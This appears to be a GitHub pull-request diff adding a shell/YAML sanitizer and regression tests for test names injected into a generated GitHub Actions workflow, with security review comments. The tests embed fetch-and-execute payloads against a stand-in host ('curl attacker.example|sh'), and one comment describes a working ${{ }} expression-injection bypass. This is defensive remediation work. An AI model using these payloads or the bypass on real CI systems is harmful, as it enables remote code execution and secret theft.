Skip to content
Closed
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
35 changes: 31 additions & 4 deletions packages/web/src/services/flakyTestService.js
Original file line number Diff line number Diff line change
Expand Up @@ -205,8 +205,35 @@ async function openQuarantinePR({ candidates, repository, octokit }) {
return pr;
}

function buildQuarantineWorkflow(candidates, repository) {
const testFilter = candidates.map(c => c.test_suite + " > " + c.test_name).join("|");
// Boundary sanitizer for untrusted test identifiers (suite and test names
// parsed from repository CI output). These values are interpolated into a
// generated GitHub Actions workflow at TWO layers, and must remain data at
// both:
// 1. YAML — control characters (newlines, carriage returns, and the rest
// of C0 plus DEL) are the only characters that can escape a `command: |`
// block scalar's indentation or a trailing `#` comment line and inject
// workflow structure. They are replaced with spaces; no legitimate
// test identifier contains them.
// 2. Shell — the value lands inside a double-quoted `--testNamePattern=`
// argument. Backslash is escaped FIRST (escaping quotes before
// backslashes lets an attacker's `\"` collapse the escape and close the
// string early), then double quote, dollar sign, and backtick — the
// characters that expand or substitute inside POSIX double quotes.
// Escaping is identical at both interpolation sites (filter and comments) by
// policy: one function, no per-site decisions.
export function sanitizeTestIdentifier(value) {
return String(value ?? "")

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[MEDIUM] Sanitizer misses YAML 1.1 line breaks (NEL U+0085, LS U+2028, PS U+2029) and C1 controls

The strip class covers C0 (0x00-0x1F) plus DEL only. YAML 1.1 additionally treats NEL (U+0085), LS (U+2028), and PS (U+2029) as line breaks, and the Actions runner's parser implements YAML 1.1 semantics — so an identifier containing one of these characters can terminate a trailing # comment line mid-value and inject top-level workflow keys, or disturb the command: | block scalar. js-yaml, used in the new tests, treats these as ordinary printable characters and honors only LF/CR, so the added assertions pass while the boundary remains open for runners using 1.1 break semantics. Bare C1 controls (0x80-0x9F except NEL) are also non-printable in YAML and can make the generated file invalid for strict parsers, breaking the workflow run. Fix: widen the class to /[\u0000-\u001f\u007f-\u009f\u2028\u2029]+/g, i.e. strip everything below U+0020 plus 0x7F-0x9F and the two Unicode line separators.

.replace(/[\u0000-\u001f\u007f]+/g, " ")
.replace(/\\/g, "\\\\")
.replace(/"/g, '\\"')

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[CRITICAL] GitHub Actions expression injection (${{ }}) bypasses the new shell escaping — command execution remains possible

The fix escapes $ as \$ for bash, but the generated value passes through a THIRD evaluation layer first: GitHub Actions expression expansion. The runner evaluates ${{ ... }} inside the command:/with: value before any shell runs, and a backslash is not an escape in the expression language — \${{ ... }} in the file is still evaluated. The substituted result is inserted after all escaping has been applied, so any $(, backtick, or quote in the result re-enters bash unprotected; the stray \ from \$ can even help an attacker break the quotes (\ + \ -> literal backslash, then the attacker's \" closes the string). A test name as simple as ${{ 'a$(curl attacker.example|sh)' }} becomes \a$(curl attacker.example|sh) inside the double-quoted argument after expansion, and bash executes the substitution on the runner; ${{ secrets.* }} expressions are also inlined into argv. The new tests cannot catch this: js-yaml and the shell tokenizer validate the file text, not the expression-expanded value, so they stay green while the bypass persists. Suggested fix: neutralize ${{ in sanitizeTestIdentifier before the shell-escaping replaces (e.g. .replace(/\$\{\{/g, "{")), or reject identifier values containing {{.

.replace(/\$/g, "\\$")
.replace(/`/g, "\\`");
}

export function buildQuarantineWorkflow(candidates, repository) {
const testFilter = candidates

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[LOW] testNamePattern remains regex-interpreted: sanitized names still alter matching semantics

After shell decoding, the value reaches jest's --testNamePattern as a regular expression, so metacharacters the sanitizer deliberately passes through stay active at that layer: $ is an anchor, and | ( ) [ ] * + ? { } alter alternation, grouping, and quantifiers. A crafted name can widen which tests the quarantine workflow matches, or make the combined |-joined pattern invalid and fail the run entirely. This is not command execution and predates the patch, but since this PR's stated goal is that test identifiers remain data, consider regex-escaping metacharacters (prefixing with \\) or documenting that the filter is best-effort for names containing regex syntax.

.map(c => sanitizeTestIdentifier(c.test_suite) + " > " + sanitizeTestIdentifier(c.test_name))
.join("|");

return "# Auto-generated by GitWire — Flaky Test Quarantine\n" +
"# DO NOT EDIT — managed by GitWire\n\n" +
Expand All @@ -217,9 +244,9 @@ function buildQuarantineWorkflow(candidates, repository) {
" - name: Set up Node\n uses: actions/setup-node@v4\n with:\n node-version: '20'\n" +
" - run: npm ci\n" +
" - name: Run quarantined tests\n uses: nick-fields/retry@v3\n with:\n timeout_minutes: 15\n max_attempts: 3\n" +
" command: |\n npm test -- --testNamePattern=\"" + testFilter.replace(/"/g, '\\"') + "\" 2>&1\n\n" +
" command: |\n npm test -- --testNamePattern=\"" + testFilter + "\" 2>&1\n\n" +
"# Quarantined tests (" + candidates.length + "):\n" +
candidates.map(c => "# - [" + Math.round(c.flakiness_score * 100) + "% failure rate] " + c.test_suite + " > " + c.test_name).join("\n") + "\n";
candidates.map(c => "# - [" + Math.round(c.flakiness_score * 100) + "% failure rate] " + sanitizeTestIdentifier(c.test_suite) + " > " + sanitizeTestIdentifier(c.test_name)).join("\n") + "\n";
}

function buildQuarantinePRBody(candidates) {
Expand Down
174 changes: 174 additions & 0 deletions packages/web/tests/unit/flaky-quarantine-escaping.test.js
Original file line number Diff line number Diff line change
@@ -0,0 +1,174 @@
// tests/unit/flaky-quarantine-escaping.test.js
// CodeQL #5 remediation regressions: untrusted test identifiers (suite and
// test names parsed from repository CI output) are interpolated into the
// generated GitHub Actions quarantine workflow at two layers and must remain
// DATA at both:
// YAML — control characters cannot escape the `command: |` block scalar
// or the trailing `#` comment lines to inject workflow structure.
// shell — backslash, double quote, dollar sign, and backtick cannot break
// out of the double-quoted --testNamePattern argument.
//
// The whole generated document is parsed with a real YAML parser (js-yaml),
// and the shell argument is decoded with a POSIX double-quote tokenizer, so
// the assertions hold at the actual parsing layers rather than against
// substring trivia.

import { jest } from "@jest/globals";
import { load as yamlLoad } from "js-yaml";

const mockQuery = jest.fn();

await jest.unstable_mockModule("../../src/lib/db.js", () => ({ db: { query: mockQuery } }));
await jest.unstable_mockModule("../../src/lib/logger.js", () => ({
logger: { info: jest.fn(), warn: jest.fn(), error: jest.fn(), debug: jest.fn(), child: () => ({ info: jest.fn(), warn: jest.fn(), error: jest.fn(), debug: jest.fn() }) },
}));
await jest.unstable_mockModule("../../src/services/pipelineEvents.js", () => ({ Events: { record: jest.fn() } }));
await jest.unstable_mockModule("@anthropic-ai/sdk", () => ({
default: class { constructor() { this.messages = { create: jest.fn().mockResolvedValue({ content: [{ type: "text", text: "[]" }] }) }; } },
}));
await jest.unstable_mockModule("../../config/index.js", () => ({
config: { server: { env: "test" }, anthropic: { apiKey: "test", baseURL: "http://test" }, ai: { model: "test-model" } },
}));

const { buildQuarantineWorkflow, sanitizeTestIdentifier } = await import("../../src/services/flakyTestService.js");

// POSIX double-quote decoder for a single shell argument. Input: the raw
// command-line tail exactly as the generated line carries it (starting
// AFTER the opening quote). Returns the decoded argument so far and the
// text remaining AFTER the quote that terminated it. The argument is
// well-formed exactly when the terminator is the intended closing quote —
// i.e. `rest` is the intended trailing redirect (`2>&1`) and nothing else.
// Any unescaped quote inside the payload ends the argument early and shows
// up as attacker text in `rest` — precisely the injection this remediation
// must prevent.
function shDecodeDoubleQuoted(raw) {
let out = "";
for (let i = 0; i < raw.length; i += 1) {
const ch = raw[i];
if (ch === "\\") {
out += raw[i + 1] ?? "";
i += 1;
continue;
}
if (ch === `"`) return { out, rest: raw.slice(i + 1) };
out += ch;
}
return { out, rest: "" };
}

// Extract the testNamePattern argument payload from the generated command
// block: everything between `--testNamePattern="` and the line's end.
function extractTestNamePatternRaw(yamlText) {
const line = yamlText.split("\n").find((l) => l.includes("--testNamePattern="));
if (!line) return null;
const at = line.indexOf('--testNamePattern="');
return line.slice(at + '--testNamePattern="'.length);
}

function candidate(suite, name) {
return { test_suite: suite, test_name: name, flakiness_score: 0.42, run_count: 10 };
}

describe("sanitizeTestIdentifier (unit)", () => {
it("strips every C0 control character and DEL to a space (YAML layer)", () => {
const out = sanitizeTestIdentifier("a\nb\rc\td\x00e\x1ff\x7fg");
expect(out).toBe("a b c d e f g");
// No control characters survive anywhere in the sanitized value.
expect(/[\u0000-\u001f\u007f]/.test(out)).toBe(false);
});

it("escapes backslash BEFORE double quote — the \\\" pair cannot close the shell string", () => {
const out = sanitizeTestIdentifier("evil\\\"; touch /tmp/pwned; \\\"");
// The source backslash is doubled first, then the quote is escaped, so a
// POSIX decoder reads: backslash, quote, ; touch ... — all inside the arg.
const decoded = shDecodeDoubleQuoted(out);
expect(decoded.rest).toBe("");
expect(decoded.out).toBe("evil\\\"; touch /tmp/pwned; \\\"");
});

it("escapes dollar sign and backtick (command substitution and expansion stay data)", () => {
const out = sanitizeTestIdentifier("$(id) `id` $HOME");
const decoded = shDecodeDoubleQuoted(out);
expect(decoded.rest).toBe("");
expect(decoded.out).toBe("$(id) `id` $HOME");
expect(out).toContain("\\$");
expect(out).toContain("\\`");
});

it("leaves ordinary test names byte-identical (equivalent quarantine behavior)", () => {
expect(sanitizeTestIdentifier("auth > logs in with valid token [slow]")).toBe("auth > logs in with valid token [slow]");
});
});

describe("buildQuarantineWorkflow (generated-document regressions)", () => {
it("produces a YAML-parseable workflow with exactly one job and the intended steps for a normal candidate", () => {
const doc = yamlLoad(buildQuarantineWorkflow([candidate("auth", "logs in")], { full_name: "o/r" }));
expect(Object.keys(doc.jobs)).toEqual(["quarantine"]);
expect(doc.jobs.quarantine["runs-on"]).toBe("ubuntu-latest");
const names = doc.jobs.quarantine.steps.map((s) => s.name ?? s.uses);
expect(names).toEqual(["actions/checkout@v4", "Set up Node", undefined, "Run quarantined tests"]);
// The filter argument decodes to the exact benign name.
const raw = extractTestNamePatternRaw(buildQuarantineWorkflow([candidate("auth", "logs in")], { full_name: "o/r" }));
const decoded = shDecodeDoubleQuoted(raw);
expect(decoded.out).toBe("auth > logs in");
expect(decoded.rest.trim()).toBe("2>&1");
});

it("SHELL INJECTION: a crafted \\\" name cannot terminate the testNamePattern argument", () => {
const evil = 'evil\\"; curl https://attacker.example|sh; \\"';
const yamlText = buildQuarantineWorkflow([candidate("suite", evil)], { full_name: "o/r" });
const decoded = shDecodeDoubleQuoted(extractTestNamePatternRaw(yamlText));
expect(decoded.out).toBe('suite > evil\\"; curl https://attacker.example|sh; \\"');
expect(decoded.rest.trim()).toBe("2>&1"); // the closing quote is the INTENDED one — payload stayed one argument
});

it("SHELL INJECTION: $(), backticks, and $VAR remain literal data", () => {
const yamlText = buildQuarantineWorkflow([candidate("s", "$(curl evil|sh) `id` ${IFS}")], { full_name: "o/r" });
const decoded = shDecodeDoubleQuoted(extractTestNamePatternRaw(yamlText));
expect(decoded.out).toBe("s > $(curl evil|sh) `id` ${IFS}");
expect(decoded.rest.trim()).toBe("2>&1");
});

it("YAML STRUCTURE: an embedded newline cannot inject workflow keys — the document parses with unchanged structure", () => {
const evil = "ok\nruns-on: ubuntu-latest\n - run: malicious\non: [push]";
const yamlText = buildQuarantineWorkflow([candidate("s", evil)], { full_name: "o/r" });
// The whole document still parses and the structure is exactly the
// intended single quarantine job.
const doc = yamlLoad(yamlText);
expect(Object.keys(doc.jobs)).toEqual(["quarantine"]);
expect(doc.jobs.quarantine["runs-on"]).toBe("ubuntu-latest");
expect(doc.jobs.quarantine.steps).toHaveLength(4);
expect(doc.on).toEqual({ schedule: [{ cron: "0 6 * * 1" }], workflow_dispatch: null });
// The injected text survives as data inside the argument, not as YAML.
const decoded = shDecodeDoubleQuoted(extractTestNamePatternRaw(yamlText));
expect(decoded.out).toContain("runs-on: ubuntu-latest");
expect(decoded.out).toContain("- run: malicious");
// No line outside the intended template carries the injected markers.
const structureLines = yamlText.split("\n").filter((l) => /^\s*- run: malicious/.test(l) || /^\s*on: \[push\]/.test(l));
expect(structureLines).toEqual([]);
});

it("YAML STRUCTURE: carriage returns are neutralized identically", () => {
const yamlText = buildQuarantineWorkflow([candidate("s", "a\r\njobs:\r\n evil: boom")], { full_name: "o/r" });
const doc = yamlLoad(yamlText);
expect(Object.keys(doc.jobs)).toEqual(["quarantine"]);
});

it("multiple candidates join with | and each is sanitized independently", () => {
const yamlText = buildQuarantineWorkflow(
[candidate("s1", 'n\\"1'), candidate("s2", "$x")],
{ full_name: "o/r" },
);
const decoded = shDecodeDoubleQuoted(extractTestNamePatternRaw(yamlText));
expect(decoded.out).toBe('s1 > n\\"1|s2 > $x');
expect(decoded.rest.trim()).toBe("2>&1");
});

it("comment lines carry the same sanitization (no control characters anywhere in the document)", () => {
const yamlText = buildQuarantineWorkflow([candidate("s", "line1\nline2")], { full_name: "o/r" });
expect(/[\u0000-\u0008\u000b\u000c\u000e-\u001f\u007f]/.test(yamlText)).toBe(false);
// Newlines exist only as the template's own line separators: the comment
// line shows the name flattened to one line.
expect(yamlText).toMatch(/# - \[42% failure rate\] s > line1 line2/);
});
});
Loading